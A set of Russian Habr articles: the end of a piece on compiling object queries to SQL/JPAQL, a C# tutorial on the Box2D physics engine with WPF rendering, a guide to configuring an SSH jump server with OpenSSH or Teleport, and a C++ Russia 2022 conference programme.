WHERE ( t4.parent.id=1 ) and ( t4.erased=0 ) and ( t6.erased=0 ) and ( ( t6.stateId=2 ) and ( t4.stateId=3 ) ) and ( t4.id=t3.parent.id ) and ( t3.erased=0 ) and ( t5.erased=0 ) and ( t5.objectClassId=10 ) and ( ( t5.stateId=2 ) and ( t3.stateId in (3, 4) ) ) and ( t0=t3 )) )`
#### Legal notice
Данная идея использовалась в Arp.Site с 2002 года и претерпевала только технологические изменения (интерпретация, компиляция в SQL, компиляция в JPAQL). Я не имею прямого отношения к реализации данной идеи у других своих работодателей (хотя и помогал советами), поэтому содержание данного топика не попадает под соответствующие NDA. В связи с наличие prior art, данная технология не может быть защищена патентами, датированными после 2002 года. Наличие более ранних патентов не исследовалось.
Автором изначальной реализации является Тимофей Сысоев, внедрение технологии компиляции под SQL и под JPAQL — ваш покорный слуга. | https://habr.com/ru/post/95067/ | null | ru | null |
# WPF и Box2D. Как я делал физику c WPF
Доброго времени Хабр. Я большой фанат физики в играх, работал с некоторыми интересными физическими движками но сегодня я расскажу о Box2D. Он максимально прост и понятен и отлично подходит для двумерной физики. Я заметил что в интернете очень мало туториалов по Box2D на C#, их почти нет. Меня неоднократно просили написать статейку по этому поводу. Чтож, время пришло. Будет много кода, букв и немного комментариев. Для вывода графики используется WPF и элемент Viewport3D. Кому интересно, добро пожаловать подкат.
[Box2D](https://ru.wikipedia.org/wiki/Box2D) — компьютерная программа, свободный открытый физический движок. Box2D является физическим движком реального времени и предназначен для работы с двумерными физическими объектами. Движок разработан Эрином Катто (англ. Erin Catto), написан на языке программирования C++ и распространяется на условиях лицензии zlib.
Движок используется в двумерных компьютерных играх, среди которых Angry Birds, Limbo, Crayon Physics Deluxe, Rolando, Fantastic Contraption, Incredibots, Transformice, Happy Wheels, Color Infection, Shovel Knight, King of Thieves.
Скачать можно по ссылке [Box2D.dll](https://vk.com/doc-71023327_447804791)
### WPF и Viewport3D
Для отрисовки мира я решил по определенным причинам взять WPF, конечно отрисовывать можно на чем угодно, хоть на обычном Grphics и PictureBox, но это не желательно т.к. Graphics выводит графику через ЦП и будет отнимать много процессорного времени.
Напишем небольшое окружение для работы с графикой. В дефолтное окно проекта добавим следующий XAML:
**Код**
```
```
ClipToBounds — говорит то что невидимые грани будут отсекаться, хотя здесь это не пригодится т.к. будет 2D проекция, я все равно это включу.
После устанавливается перспективная камера. FarPlaneDistance — максимальное расстояние которое захватывает камера, NearPlaneDistance — минимальное расстояние, и дальше позиция, куда смотрит камера и как она смотрит. Дальше мы создаем элемент Model3DGroup в который мы будем кидать геометрию через его имя «models», и добавляем в него 3 освещения.
Ну вот, с XAML разобрались, теперь можно начать писать класс для создания геометрии:
**Код**
```
public class MyModel3D
{
public Vector3D Position { get; set; } // Позиция квадрата
public Size Size { get; set; } // Размер квадрата
private TranslateTransform3D translateTransform; // Матрица перемещения
private RotateTransform3D rotationTransform; // Матрица вращения
public MyModel3D(Model3DGroup models, double x, double y, double z, string path, Size size, float axis_x = 0, double angle = 0, float axis_y = 0, float axis_z = 1)
{
this.Size = size;
this.Position = new Vector3D(x, y, z);
MeshGeometry3D mesh = new MeshGeometry3D();
// Проставляем вершины квадрату
mesh.Positions = new Point3DCollection(new List
{
new Point3D(-size.Width/2, -size.Height/2, 0),
new Point3D(size.Width/2, -size.Height/2, 0),
new Point3D(size.Width/2, size.Height/2, 0),
new Point3D(-size.Width/2, size.Height/2, 0)
});
// Указываем индексы для квадрата
mesh.TriangleIndices = new Int32Collection(new List { 0, 1, 2, 0, 2, 3 });
mesh.TextureCoordinates = new PointCollection();
// Устанавливаем текстурные координаты чтоб потом могли натянуть текстуру
mesh.TextureCoordinates.Add(new Point(0, 1));
mesh.TextureCoordinates.Add(new Point(1, 1));
mesh.TextureCoordinates.Add(new Point(1, 0));
mesh.TextureCoordinates.Add(new Point(0, 0));
// Натягиваем текстуру
ImageBrush brush = new ImageBrush(new BitmapImage(new Uri(path)));
Material material = new DiffuseMaterial(brush);
GeometryModel3D geometryModel = new GeometryModel3D(mesh, material);
models.Children.Add(geometryModel);
translateTransform = new TranslateTransform3D(x, y, z);
rotationTransform = new RotateTransform3D(new AxisAngleRotation3D(new Vector3D(axis\_x, axis\_y, axis\_z), angle), 0.5, 0.5, 0.5);
Transform3DGroup tgroup = new Transform3DGroup();
tgroup.Children.Add(translateTransform);
tgroup.Children.Add(rotationTransform);
geometryModel.Transform = tgroup;
}
// Утсанавливает позицию объекта
public void SetPosition(Vector3D v3)
{
translateTransform.OffsetX = v3.X;
translateTransform.OffsetY = v3.Y;
translateTransform.OffsetZ = v3.Z;
}
public Vector3D GetPosition()
{
return new Vector3D(translateTransform.OffsetX, translateTransform.OffsetY, translateTransform.OffsetZ);
}
// Поворачивает объект
public void Rotation(Vector3D axis, double angle, double centerX = 0.5, double centerY = 0.5, double centerZ = 0.5)
{
rotationTransform.CenterX = translateTransform.OffsetX;
rotationTransform.CenterY = translateTransform.OffsetY;
rotationTransform.CenterZ = translateTransform.OffsetZ;
rotationTransform.Rotation = new AxisAngleRotation3D(axis, angle);
}
public Size GetSize()
{
return Size;
}
}
```
Этот класс создает квадрат и отрисовывает на нем текстуру. Думаю по названиям методов понятно какой метод за что отвечает. Для рисования геометрических фигур я буду использовать текстуру и накладывать ее на квадрат с альфа каналом.
### Box2D — Hello world
Начнем с самого основного, с создания мира. Мир в Box2D имеет определенные параметры, это границы(квадрат) в которых обрабатываются физические тела.
В параметрах мира так же есть вектор гравитации и возможность объектов «засыпать» если их инерция равно нулю, это хорошо подходит для экономии ресурсов процессора. Пораметров конечно больше, но нам пока нужны только эти. Создадим класс Physics и добавим следующий конструктор:
**Код**
```
public class Physics
{
private World world;
public Physics(float x, float y, float w, float h, float g_x, float g_y, bool doSleep)
{
AABB aabb = new AABB();
aabb.LowerBound.Set(x, y); // Указываем левый верхний угол начала границ
aabb.UpperBound.Set(w, h); // Указываем нижний правый угол конца границ
Vec2 g = new Vec2(g_x, g_y); // Устанавливаеи вектор гравитации
world = new World(aabb, g, doSleep); // Создаем мир
}
}
```
Дальше необходимо написать методы для добавления различных физических тел, я добавлю 3 метода создающих круг и квадрат и многоугольник. Сразу добавляю в класс Physics две константы:
```
private const string PATH_CIRCLE = @"Assets\circle.png"; // Изображение круга
private const string PATH_RECT = @"Assets\rect.png"; // Изображение квадрата
```
Описываю метод для создания квадратного тела:
**Код**
```
public MyModel3D AddBox(float x, float y, float w, float h, float density, float friction, float restetution)
{
// Создается наша графическая модель
MyModel3D model = new MyModel3D(models, x, -y, 0, PATH_RECT, new System.Windows.Size(w, h));
// Необходим для установи позиции, поворота, различных состояний и т.д. Советую поюзать свойства этих объектов
BodyDef bDef = new BodyDef();
bDef.Position.Set(x, y);
bDef.Angle = 0;
// Наш полигон который описывает вершины
PolygonDef pDef = new PolygonDef();
pDef.Restitution = restetution;
pDef.Friction = friction;
pDef.Density = density;
pDef.SetAsBox(w / 2, h / 2);
// Создание самого тела
Body body = world.CreateBody(bDef);
body.CreateShape(pDef);
body.SetMassFromShapes();
body.SetUserData(model); // Это отличная функция, она на вход принемает объекты типа object, я ее использовал для того чтобы запихнуть и хранить в ней нашу графическую модель, и в методе step ее доставать и обновлять
return model;
}
```
И для создания круглого тела:
**Код**
```
public MyModel3D AddCircle(float x, float y, float radius, float angle, float density,
float friction, float restetution)
{
MyModel3D model = new MyModel3D(models, x, -y, 0, PATH_CIRCLE, new System.Windows.Size(radius * 2, radius * 2));
BodyDef bDef = new BodyDef();
bDef.Position.Set(x, y);
bDef.Angle = angle;
CircleDef pDef = new CircleDef();
pDef.Restitution = restetution;
pDef.Friction = friction;
pDef.Density = density;
pDef.Radius = radius;
Body body = world.CreateBody(bDef);
body.CreateShape(pDef);
body.SetMassFromShapes();
body.SetUserData(model);
return model;
}
```
Я тут этого делать не буду, но можно создавать многоугольники примерно таким способом:
**Код**
```
public MyModel3D AddVert(float x, float y, Vec2[] vert, float angle, float density,
float friction, float restetution)
{
MyModel3D model = new MyModel3D(models, x, y, 0, Environment.CurrentDirectory + "\\" + PATH_RECT, new System.Windows.Size(w, h)); // Данный метод нужно заменить на рисование многоугольников
BodyDef bDef = new BodyDef();
bDef.Position.Set(x, y);
bDef.Angle = angle;
PolygonDef pDef = new PolygonDef();
pDef.Restitution = restetution;
pDef.Friction = friction;
pDef.Density = density;
pDef.SetAsBox(model.Size.Width / 2, model.Size.Height / 2);
pDef.Vertices = vert;
Body body = world.CreateBody(bDef);
body.CreateShape(pDef);
body.SetMassFromShapes();
body.SetUserData(model);
return info;
}
```
Очень важно рисовать выпуклые многоугольники чтоб коллизии обрабатывались корректно.
Тут все достаточно просто если вы знаете английский. Дальше нужно создать метод для обработки логики:
**Код**
```
public void Step(float dt, int iterat)
{
// Параметры этого метода управляют временем мира и точностью обработки коллизий тел
world.Step(dt / 1000.0f, iterat, iterat);
for (Body list = world.GetBodyList(); list != null; list = list.GetNext())
{
if (list.GetUserData() != null)
{
System.Windows.Media.Media3D.Vector3D position = new System.Windows.Media.Media3D.Vector3D(
list.GetPosition().X, list.GetPosition().Y, 0);
float angle = list.GetAngle() * 180.0f / (float)System.Math.PI; // Выполняем конвертацию из градусов в радианы
MyModel3D model = (MyModel3D)list.GetUserData();
model.SetPosition(position); // Перемещаем нашу графическую модель по x,y
model.Rotation(new System.Windows.Media.Media3D.Vector3D(0, 0, 1), angle); // Вращаем по координате x
}
}
}
```
Помните тот model в методах *AddCircle* и *AddBox* который мы запихивали в *body.SetUserDate()*? Так вот, тут мы его достаем *MyModel3D model = (MyModel3D)list.GetUserData();* и вертим как говорит нам Box2D.
Теперь это все можно затестить, вот мой код в дефолтном классе окна:
**Код**
```
public partial class MainWindow : Window
{
private Game.Physics px;
public MainWindow()
{
InitializeComponent();
px = new Game.Physics(-1000, -1000, 1000, 1000, 0, -0.005f, false);
px.SetModelsGroup(models);
px.AddBox(0.6f, -2, 1, 1, 0, 0.3f, 0.2f);
px.AddBox(0, 0, 1, 1, 0.5f, 0.3f, 0.2f);
this.LayoutUpdated += MainWindow_LayoutUpdated;
}
private void MainWindow_LayoutUpdated(object sender, EventArgs e)
{
px.Step(1.0f, 20); // тут по хорошему нужно вычислять дельту времени, но лень :)
this.InvalidateArrange();
}
}
```
Да, я забыл упомянуть о том что я добавил в класс Physics метод px.SetModelsGroup(); для удобства передачи ссылки на объект Model3DGroup. Если вы используете какой нибудь другой графический движок, то вы можете обойтись и без этого.
Вы наверное заметили что значения координат кубиков слишком маленькие, ведь мы привыкли работать с пикселем. Это связано с тем что в Box2D все метрики расчитываются в метрах, по этому если вы хотите чтобы все расчитывалось в пикселях, вам нужно пиксели делить на 30. Например bDef.SetPosition(x / 30.0f, y / 30.0f); и все будет гуд.
Уже с этими знаниями можно успешно написать простенькую игру, но есть у Box2D еще несколько фишек, например отслеживание столконовений. Например чтобы знать что пуля попала по персонажу, или для моделирования разного грунта и т.д. Создадим класс Solver:
**Код**
```
public class Solver : ContactListener
{
public delegate void EventSolver(MyModel3D body1, MyModel3D body2);
public event EventSolver OnAdd;
public event EventSolver OnPersist;
public event EventSolver OnResult;
public event EventSolver OnRemove;
public override void Add(ContactPoint point)
{
base.Add(point);
OnAdd?.Invoke((MyModel3D)point.Shape1.GetBody().GetUserData(), (MyModel3D)point.Shape2.GetBody().GetUserData());
}
public override void Persist(ContactPoint point)
{
base.Persist(point);
OnPersist?.Invoke((MyModel3D)point.Shape1.GetBody().GetUserData(), (MyModel3D)point.Shape2.GetBody().GetUserData());
}
public override void Result(ContactResult point)
{
base.Result(point);
OnResult?.Invoke((MyModel3D)point.Shape1.GetBody().GetUserData(), (MyModel3D)point.Shape2.GetBody().GetUserData());
}
public override void Remove(ContactPoint point)
{
base.Remove(point);
OnRemove?.Invoke((MyModel3D)point.Shape1.GetBody().GetUserData(), (MyModel3D)point.Shape2.GetBody().GetUserData());
}
}
```
Прошу заметить что мы наследуем класс от ContactListener. Используется в Box2D для отслеживания коллизий. Дальше мы просто передадим объект этого класса объекту world в классе Physics, для этого напишем функцию:
```
public void SetSolver(ContactListener listener)
{
world.SetContactListener(listener);
}
```
Создадим объект и передадим его:
```
Game.Solver solver = new Game.Solver();
px.SetSolver(solver);
```
В классе Solver есть несколько колбэков которые вызываются по очереди в соответствии с названиями, повесим один на прослушивание:
```
solver.OnAdd += (model1, model2) =>
{
// Произошло столкновение тел model1 и model2
};
```
Так же вы можите прикрутить к классу MyModel3D свойство типа string name, задавать ему значение и уже в коллбэке OnAdd проверять конкретно какое тело с каким телом столкнулось.
Так же Box2D позволяет делать связи между телами. Они могут быть разных типов, рассмотрим пару:
**Код**
```
public Joint AddJoint(Body b1, Body b2, float x, float y)
{
RevoluteJointDef jd = new RevoluteJointDef();
jd.Initialize(b1, b2, new Vec2(x, y));
Joint joint = world.CreateJoint(jd);
return joint;
}
```
Это простое жесткое соединение тела b1 и b2 в точке x, y. Вы можете посмотреть свойства у класса RevoluteJointDef. Там можно сделать так чтобы объект вращался, подходит для создания машины, или мельницы. Идем дальше:
**Код**
```
public Joint AddDistanceJoint(Body b1, Body b2, float x1, float y1, float x2, float y2,
bool collideConnected = true, float hz = 1f)
{
DistanceJointDef jd = new DistanceJointDef();
jd.Initialize(b1, b2, new Vec2(x1, y1), new Vec2(x2, y2));
jd.CollideConnected = collideConnected;
jd.FrequencyHz = hz;
Joint joint = world.CreateJoint(jd);
return joint;
}
```
Это более интересная связь, она эмитирует пружину, значение hz — напряженность пружины. С таким соединением хорошо делать подвеску для машины, или катапульту.
### Заключение
Это далеко не все что может Box2D. Что самое классное в этом движке, так это то что он бесплатный и на него есть порт под любую платформу, и синтаксис практически не отличается. Кстати я пробовал его использовать в Xamarin на 4.1.1 андроиде, сборщик мусора постоянно тормозил приложения из-за того что Box2D плодил много мусора. Говорят начиная с пятого андроида благодоря ART все не так плохо, хотя я не проверял.
Ссылка на проект GitHub: [github.com/Winster332/Habrahabr](https://github.com/Winster332/Habrahabr)
Порт на dotnet core: [github.com/Winster332/box2d-dotnet-core-1.0](https://github.com/Winster332/box2d-dotnet-core-1.0) | https://habr.com/ru/post/333040/ | null | ru | null |
# Как настроить SSH-Jump Server
Для работы с [облачной инфраструктурой](https://tinyurl.com/yxv72n2n) рекомендуется создавать SSH Jumpstation. Это позволяет повысить безопасность и удобство администрирования серверов. В этой статье мы расскажем, как настроить единую точку входа для подключений по ssh – SSH Jump Server. Для реализации выбраны два проекта с открытым исходным кодом.
* Традиционный подход с использованием OpenSSH. Преимущество в том, что на ваших Linux-серверах уже предустановлены необходимые пакеты OpenSSH
* Использование альтернативного opensource-проекта Teleport
Оба этих сервера просты в установке и настройке, бесплатны, имеют открытый исходный код и представляют собой демоны Linux с одним бинарником.
### Что такое SSH Jump Server?
SSH Jump Server — это обычный сервер Linux, доступный из интернета, который используется в качестве шлюза для доступа к другим машинам Linux в частной сети с использованием протокола SSH. Иногда SSH Jump Server также называют jump host или bastion host. Назначение SSH Jump Server — быть единственным шлюзом для доступа к вашей инфраструктуре, уменьшая размер потенциальной поверхности атаки. Наличие выделенной точки доступа SSH также упрощает ведение сводного журнала аудита всех SSH подключений.
Почему бы не использовать термин SSH-proxy? Отчасти по историческим причинам. В первые дни использования SSH пользователям приходилось подключаться по SSH к Jump Server, а оттуда им приходилось снова вводить ssh, чтобы «перейти» к хосту назначения. Сегодня это делается автоматически, и Teleport фактически использует термин SSH-proxy для описания этой функции.
### Настройка SSH Jump Server
Одной из хороших практик информационной безопасности будет использование выделенного SSH Jump-сервера, то есть отказаться от размещения на нём какое-либо другого общедоступного программного обеспечения. Кроме того, нужно запретить пользователям напрямую входить на jump-сервер. Вот парочка причин:
* Чтобы предотвратить непреднамеренное обновление конфигурации jump-сервера
* Чтобы исключить возможность использования jump-сервера для других задач
Также неплохо изменить порт TCP по умолчанию на сервере перехода SSH с 22 на другой.
Давайте рассмотрим настройку сервера перехода SSH с использованием двух проектов с открытым исходным кодом. Начнём с OpenSSH, самого распространённого варианта.
Но сначала давайте введём некоторые имена, которые будут использоваться в примерах ниже:
* Домен организации: `example.com`
* DNS-имя jump-сервера организации будет `proxy.example.com`
Также предполагается, что `proxy.example.com` — это единственная машина в локальной сети организации, доступная из Интернета.
### OpenSSH
Этот пакет SSH-сервера по умолчанию входит в состав большинства дистрибутивов Linux, и есть почти 100% вероятность, что он у вас уже установлен. Если у вас есть доступ к jump-серверу proxy.example.com, вы можете получить доступ к другим серверам в локальной сети за этим NAT с помощью -J флага в командной строке:
`$ ssh -J proxy.example.com 10.3.3.1`
В приведённом примере `10.3.3.1` – это адрес конечной станции в локальной сети, к которой вы подключаетесь. Выглядит довольно просто.
Чтобы не печатать в командной строке параметры `-J proxy.example.com`, вы можете обновить конфигурацию SSH на вашем клиенте в файле `~/.ssh/config` следующим образом:
```
Host 10.3.3.*
ProxyJump proxy.example.com
```
Теперь, когда пользователь вводит `ssh 10.3.3.1`, SSH-клиент даже не пытается разрешить адрес 10.3.3.1 локально, а вместо этого устанавливает соединение c `proxy.example.com`, которое перенаправляет его на 10.3.3.1 в своем локальном сегменте.
Теперь нужно немного усилить конфигурацию безопасности jump-сервера, отключив интерактивные сеансы SSH на jump-сервере для обычных пользователей, но оставив их включёнными для администраторов. Для этого необходимо обновить конфигурацию `sshd`, обычно она лежит в файле `/etc/ssh/sshd_config`:
```
# Do not let SSH clients do anything except be forwarded to the destination:
PermitTTY no
X11Forwarding no
PermitTunnel no
GatewayPorts no
ForceCommand /sbin/nologin
```
Приведённый выше пример будет работать для Debian и его производных, советуем проверить наличие файла `/sbin/nologin`.
Это конфигурация будет работать, если на jump-сервере есть учётные записи для всех пользователей SSH, что не очень удобно. Вместо этого рассмотрите возможность создания отдельной учётной записи на jump-сервере, предназначенной для перенаправляемых пользователей ssh. Назовём эту учётную запись `jumpuser` и обновим конфигурацию ssh-сервера:
```
Match User jumpuser
PermitTTY no
X11Forwarding no
PermitTunnel no
GatewayPorts no
ForceCommand /usr/sbin/nologin
```
И пользователям нужно будет обновить конфигурацию своего клиента SSH в файле `~/.ssh/config`:
```
Host 10.2.2.*
ProxyJump jumpuser@proxy.example.com
```
Для получения дополнительной информации по конфигурированию SSH для вашей конкретной ситуации, обратитесь к `man ssh_config` и `man sshd_config`.
Надо заметить, что описанная выше настройка работает только когда общедоступные ключи SSH правильно распределены не только между клиентами и jump-сервером, но также между клиентами и серверами назначения.
### Teleport
Teleport — это SSH-сервер и клиент, который был выпущен в 2016 году. Teleport ориентирован на работу с кластерами и большим количеством узлов.
* Он настаивает на использовании прокси-сервера SSH по умолчанию, а его прокси-сервер SSH имеет веб-интерфейс, позволяющий пользователям подключаться к SSH с помощью браузера.
* В отличие от традиционных серверов SSH, Teleport устраняет необходимость в ведении «инвентаризации» серверов, поскольку предлагает оперативный самоанализ, то есть вы можете увидеть все онлайн-серверы за прокси, как показано на скриншоте:
Помимо современных функций прокси, Teleport предлагает несколько преимуществ по сравнению с традиционным SSH:
* Teleport не использует SSH-ключи и вместо этого по умолчанию использует более безопасные и гибкие сертификаты SSH. Это устраняет необходимость в управлении ключами и сильно упрощает настройку SSH-серверов.
* Teleport поддерживает другие протоколы в дополнение к SSH, поэтому тот же jump-сервер можно использовать для доступа к другим ресурсам за NAT, таким как кластеры Kubernetes или даже внутренние приложения через HTTP(s).
* Teleport не полагается на пользователей Linux для аутентификации. Вместо этого он поддерживает отдельную базу данных пользователей или может интегрироваться с помощью единого входа с другими поставщиками аутентификации, такими как Github, Google Apps, или корпоративными опциями, такими как Okta и Active Directory.
Teleport всегда поставляется с прокси (то есть то же самое, что и jump-сервер), и нет необходимости в специальных инструкциях по его настройке. [Скачать его можно здесь](https://goteleport.com/teleport/download/).
Другие особенности Teleport:
* Помимо традиционного интерфейса командной строки имеется возможность входа через HTTPS с эмуляцией терминала в web-браузере
* Поддержка функций аудита и повторения типовых операций. Содержимое SSH-сеансов может записываться и при необходимости воспроизводиться на других хостах
* Режим совместного решения проблем, при котором несколько человек могут совместно использовать один сеанс SSH
* Автоматическое определение доступных рабочих серверов и контейнеров Docker в кластерах с динамическим присвоением имён хостам
* Поддержка обратного туннелирования для подключения к кластерам, ограждённым межсетевым экраном
* Возможность определения меток для наглядного разделения узлов кластера
* Поддержка блокировки доступа после нескольких неудачных попыток входа
* Сопоставление пользователей с логинами на конечных узлах осуществляется через специальные списки маппинга
* Для подсоединения к хосту требуется указать два имени — имя кластера и имя узла в кластере. Teleport ориентирован на управление кластерами, а не отдельными серверами. Для каждого пользователя и хоста определяется принадлежность к кластеру
* Узлы подключаются к кластеру через определение статичестких или генерацию динамических токенов, которые при желании можно отозвать для запрета входа на данный узел
* Для подсоединения к серверам Teleport внутри кластера можно использовать обычный клиент OpenSSH (требуется копирование ключей)
* Успешно пройден аудит безопасности кода, заказанный в независимой проверяющей компании
### Заключение
Итак, мы рассказали, как настроить SSH-jump сервер с помощью двух проектов с открытым исходным кодом: OpenSSH и Teleport. Но какой же выбрать?
Используйте OpenSSH, если:
* Количество серверов и/или пользователей в вашей организации невелико
* Вам нужна быстрая настройка jump-сервера, и у вас не так много времени, чтобы изучить новые технологии
Используйте Teleport, если:
* Ваш парк серверов или размер вашей команды растёт
* Вам необходимо подключиться к серверам, расположенным «в дикой природе», то есть не ограничиваться только локальной сетью.
* У вас есть пара часов, чтобы ~~поиграться~~ изучить новый инструмент
---
**Что ещё интересного есть в блоге**[**Cloud4Y**](https://www.cloud4y.ru/?utm_source=habr&utm_medium=referral&utm_campaign=article)
→ [В тюрьму за приложение](https://habr.com/ru/company/cloud4y/blog/529110/)
→ [Детям о Кубернете, или приключения Фиппи в космосе](https://habr.com/ru/company/cloud4y/blog/527286/)
→ [Определённо не Windows 95: какие операционные системы поддерживают работу в космосе?](https://habr.com/ru/company/cloud4y/blog/522376/)
→ [Рассказываем про государственные защищенные сервисы и сети](https://habr.com/ru/company/cloud4y/blog/520964/)
→ [Внутри центра обработки данных Bell Labs, 1960-е](https://habr.com/ru/company/cloud4y/blog/517474/)
Подписывайтесь на наш [Telegram](https://t.me/cloud4y)-канал, чтобы не пропустить очередную статью. Пишем не чаще двух раз в неделю и только по делу.
**Кстати, у нас сейчас действует акция:** [**-65% на IaaS-инфраструктуру**](https://tinyurl.com/y6kpqn4g)**. Условия актуальны до 6 декабря, поспешите!** | https://habr.com/ru/post/530516/ | null | ru | null |
# Корутины, компиляторы, кодогенерация и другие «ко...» грядущей C++ Russia
Как известно, в мире C++ много способов причинить себе боль, но также много высокой производительности, нетипичных амбициозных задач и прочего увлекательного хардкора. Ну и ещё известно, что плюсовиков хлебом не корми, дай немножко похоливарить про Rust или Go.
А в программе [**C++ Russia**](https://cppconf.ru/?utm_source=habr&utm_medium=668132) нашлось место всему этому: будут доклады и о производительности, и о специализированных задачах вроде систем реального времени, и о способах уменьшить боль. И ещё немножко про Rust и Go. А ещё про микросервисы (тут расскажет [@antoshkka](/users/antoshkka)) и, внезапно, про советские компиляторы.
В начале июня пройдёт онлайн-часть конференции, 26 июня — офлайн-часть, а сейчас про обе сразу можно узнать, какие доклады там будут.
---
Оглавление
----------
* [Возможности новых стандартов](#chance)
* [Software design](#sd)
* [Инструменты](#tools)
* [Практичный С++](#practice)
* [Производительность](#performance)
* [Безопасность](#security)
* [Системное программирование](#system)
* [Метапрограммирование](#meta)
---
### Возможности новых стандартов
[**Учимся готовить C++ корутины на практике, часть 2: генераторы**](https://cppconf.ru/talks/04bd86c2855550ff9a684918a534c152/?utm_source=habr&utm_medium=668132)
##### Павел Новиков
Корутины недавно вошли в стандарт C++20 и пока что остаются малоизученной областью с точки зрения их практического применения, но уже сейчас понятно, что это довольно мощный инструмент.
На данный момент в стандартной библиотеке нет готовых удобных пользователю средств, которые можно было бы сразу начать использовать. Однако появилось несколько библиотек, реализующих такие примитивы.
Это выступление можно считать продолжением [доклада](https://youtu.be/OE45F3iKtv4) Павла с прошлой конференции. В этот раз фокус направлен на часть корутин, отвечающую за генераторы. Вы узнаете о том, как работают корутины, о ключевом слове `co_yield` и о том, как концептуально устроены простые и асинхронные генераторы.
Доклад будет полезен тем, кто хочет использовать корутины C++20 на практике. Мы считаем, что доклады на эту тему приближают их проникновение в реальный код на C++.
---
[**Reflection TS: будущее рефлексии в C++**](https://cppconf.ru/talks/8afdc397d4ac8e7396a45fd468856cb0/?utm_source=habr&utm_medium=668132)
##### Александр Ганюхин
Orion Innovation
Сказать, что в C++ рефлексии совсем нет, будет неправдой: можно узнать, существуют ли между классами отношения наследования, является ли некий тип перечислением, и, даже, возможно получить список типов аргументов функции. Но, конечно, до Python и C# ещё далеко.
С появлением Reflection TS дистанция наконец-то начала уменьшаться. Все мы ощущаем, что рефлексия медленно, но верно приближается к включению в стандарт языка. Важно следить за этим прогрессом, чтобы не пропустить тот самый момент.
Александр расскажет про изменения, которые привносит спецификация Reflection TS: её возможности и ограничения. Также будет шанс опробовать новинку в деле: спикер на интересных практических примерах покажет, как использовать рефлексию не только для сериализации.
Если надоело писать boilerplate-код или заниматься кодогенерацией с помощью сторонних инструментов, вам будет интересно послушать.
---
Software Design
---------------
[**(Core) библиотеки: идеи и примеры**](https://cppconf.ru/talks/cadce1f912e0d667c01b66c3a51ebd3d?utm_source=habr&utm_medium=668132)
##### Александр Еналдиев
Лаборатория Касперского
Нечасто можно встретить в одном докладе сравнительный обзор различных библиотек. Александр хочет взглянуть на core-библиотеки не просто с позиции их содержания, но и с критическим взглядом на их интерфейсы.
Он рассмотрит Abseil и Folly, а также расскажет про GMock, GBenchmark и Boost. Посмотрим, какие у них есть плюсы и нужно ли их использовать в 2022 году.
Рекомендуем доклад всем, кто хочет выбрать для себя библиотеку общего назначения в дополнении к стандартной.
---
[**Why Сlean Сode is not the Norm?**](https://cppconf.ru/talks/676c420780267e4b9ca150c94976c9b5/?utm_source=habr&utm_medium=668132)
##### Sandor Dargo
Качество кода — это всегда проблема. Кто-нибудь скажет: «пишите хороший код, а плохой не пишите» или «нормально делай — нормально будет». Но эти пустые максимы никак не приближают нас к качественному коду. А что приближает — можно узнать из доклада.
На C++ Russia 2022 Шандор Дарго проанализирует объективные причины низкого качества кода и объяснит, почему чистый код все еще не норма. А также почему мы вечно виним других, но это плохая идея.
Шандор — опытный разработчик и автор [блога](https://www.sandordargo.com/), где, в том числе, уделяется внимание чистоте кода.
Доклад для тех, кто хочет найти ответы на вечные вопросы про качество кода: «Что делать?» и «Кто виноват?»
---
[**Embedded software bus: платформонезависимая библиотека публикации-подписки для встраиваемых систем реального времени**](https://cppconf.ru/talks/128aba6b84cca19a9bf244b6952afb86/?utm_source=habr&utm_medium=668132)
##### Иван Макаров
Catalyst Aerospace Technologies
Иван — основатель компании, производящей воздушные суда с автопилотом. Так что ему хорошо знаком мир встраиваемых систем, где требования по быстродействию и отказобезопасности особые. Понятно, что тут свои требования к перформансу и безопасности. Иван поговорит о решении проблемы переносимости программных функций между различными платформами (OS + HW) для подобных систем.
Библиотека, о которой пойдет речь, обобщает взаимодействие функций на уровне внутрипоточного, межпоточного и межпроцессного взаимодействия. Такая библиотека может быть фактически единственной зависимостью для проекта и единственным IPC.
Доклад поможет разработчикам отказобезопасных встраиваемых систем и систем реального времени. Вы узнаете про парадигму software in the loop, hardware in the loop, а также в целом про то,как разрабатываются программы для летающих беспилотников. Тех, кому интересно, как с минимальными затратами создавать мелкосерийное ПО и железо — тоже приглашаем к участию.
---
[**Автоматизация программирования в СССР: субъективный обзор незаслуженно забытых теоретических результатов**](https://cppconf.ru/talks/c00ff06f5361b090593084a8a7937dd0/?utm_source=habr&utm_medium=668132)
##### Петр Советов
РТУ МИРЭА
Многие читали современную литературу про компиляторы. Некоторые читали советскую литературу про компиляторы 60–80-х годов. Но совсем никто не пытался сопоставить, что было тогда, что есть сейчас и как это связано.
Пётр попытается построить такой мостик и составить полную картину, включающую не только западных ученых, но и их советских коллег.
Он поговорит о достижениях в областях компиляции в 50-70 годах ХХ века, а также об актуальности многих теоретических результатов того времени. Изложение иллюстрируется рядом практических примеров.
Всем, кто интересуется вопросами компиляторостроения, историей IT, классическими алгоритмами и ключевыми персонами в этой сфере.
---
### Инструменты
[**Межмодульный анализ C++ проектов**](https://cppconf.ru/talks/b81c50b6bb47e061c18e07ca39b4861c/?utm_source=habr&utm_medium=668132)
##### Олег Лысый
PVS-Studio
Олег поговорит о том, как технология межмодульного анализа влияет на качество предупреждений, выдаваемых компиляторами и анализаторами кода.
Во время работы анализатор проверяет только один исходный файл, не имея информации о том, что находится в других файлах проекта. Межмодульный анализ позволяет дать информацию анализатору о полной структуре проекта, делая анализ более точным и качественным. Это очень схоже с задачей оптимизации на этапе компоновки (Link Time Optimization, LTO). Таким образом, анализатор может узнать поведение той или иной внешней функции из другого файла проекта и выдать срабатывание, к примеру, на разыменование нулевого указателя, переданного как аргумент внешней функции.
Доклад будет интересен С++ программистам, которые хотят больше узнать о возможностях компилятора, посмотреть на технологии, которые используются в статическом анализе, и узнать про интересные ошибки, найденные в известных проектах с помощью этих технологий.
---
[**Nobody Can Program Correctly: Lessons from 20 Years of Debugging C++ Code**](https://cppconf.ru/talks/51ae7230f487057a57bc22bdae596b72/?utm_source=habr&utm_medium=668132)
##### Sebastian Theophil
think-cell
На конференциях часто рассказывают о конкретных инструментах для отладки кода. Но что, если взглянуть на весь процесс отладки сверху? Себастьян из think-cell подходит к этой теме именно так — рассматривая отладку целиком как процесс.
Уже 20 лет он занимается отладкой C++ кода, а теперь поделится с вами идеями и выводами, сделанными за это время. Вы узнаете:
* что делать в первую очередь, когда программа упала;
* какие вопросы себе задать;
* какая информация нужна для отладки;
* как найти причину ошибки;
* какие инструменты помогут нам в этом поиске;
* что сделать, чтобы баг не повторился.
---
